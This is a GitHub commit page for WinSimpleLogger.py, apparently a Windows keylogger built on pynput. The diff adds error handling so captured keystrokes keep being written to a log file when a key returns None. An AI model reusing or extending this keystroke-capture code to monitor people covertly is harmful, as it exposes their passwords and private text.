Skip to content

Commit 6aa488b

Browse files
committed
Add Exception for None
1 parent edbb063 commit 6aa488b

File tree

1 file changed

+7
-1
lines changed

1 file changed

+7
-1
lines changed

WinSimpleLogger.py

Lines changed: 7 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -14,7 +14,13 @@ def on_press(key):
1414
# Alpha-Numeric and special characters have type pynput.keyboard._win32.KeyCode
1515
# If such type log them directly
1616
if type(key) == pynput.keyboard._win32.KeyCode:
17-
f_in.write(key.char)
17+
try:
18+
f_in.write(key.char)
19+
20+
# Some keys of type pynput.keyboard._win32.KeyCode return None.
21+
# Cant write none type in a file and may cause error.
22+
except Exception:
23+
pass
1824

1925
# For other types like caps_lock log them as specified.
2026
else:

0 commit comments

Comments
 (0)